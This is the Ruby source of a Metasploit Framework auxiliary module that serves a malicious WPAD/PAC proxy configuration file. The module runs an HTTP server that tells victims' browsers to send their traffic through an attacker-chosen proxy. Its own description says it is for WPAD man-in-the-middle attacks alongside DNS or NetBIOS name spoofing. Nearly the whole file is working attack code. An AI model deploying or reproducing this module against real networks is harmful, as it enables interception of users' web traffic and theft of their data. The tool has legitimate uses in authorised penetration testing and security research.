##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Auxiliary::Report

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'WPAD.dat File Server',
			'Version'     => '$Revision$',
			'Description' => %q{
				This module generates a valid wpad.dat file for WPAD mitm attacks. 					Usually this module is used in combination with DNS attacks or the 					'NetBIOS Name Service Spoofer' module. Please remember as the 					server will be running by default on TCP port 80 you will need the 					required privileges to open that port.
			},
			'Author'      =>
				[
					'et'            # Metasploit module
				],
			'Version'     => '$Revision$',
			'License'     => MSF_LICENSE,
			'Actions'     =>
				[
					[ 'WebServer' ]
				],
			'PassiveActions' =>
				[
					'WebServer'
				],
			'DefaultOptions' => 
				{ 
					'SRVPORT' => 80 
				},
			'DefaultAction'  => 'WebServer'))

		register_options(
			[
				OptString.new('URIPATH',[ true, "WPAD/PAC Data file name (wpad.dat, proxy.pac)", '/wpad.dat' ]),
				OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]),
				OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]),
				OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]),
				OptPort.new('PROXYPORT',[ true, "Proxy port", 8080 ])
			], self.class)
	end
	
	def on_request_uri(cli, request)
		print_status("Request '#{request.method} #{request.headers['user-agent']} from #{cli.peerhost}:#{cli.peerport}")


		return if request.method == "POST"

		html = <<-EOS
function FindProxyForURL(url, host) {
      // URLs within this network are accessed directly 
      if (isInNet(host, "#{datastore['EXCLUDENETWORK']}", "#{datastore['EXCLUDENETMASK']}"))
      {
         return "DIRECT";
      }
      return "PROXY #{datastore['PROXY']}:#{datastore['PROXYPORT']}; DIRECT";
   }
EOS

		print_status("Sending WPAD config ...")
		send_response_html(cli, html,
			{
				'Content-Type' => 'application/x-ns-proxy-autoconfig'
			})
	end

	def run
		print_status("WPAD Server started on port #{datastore['SRVPORT']}.")
		exploit
	end
end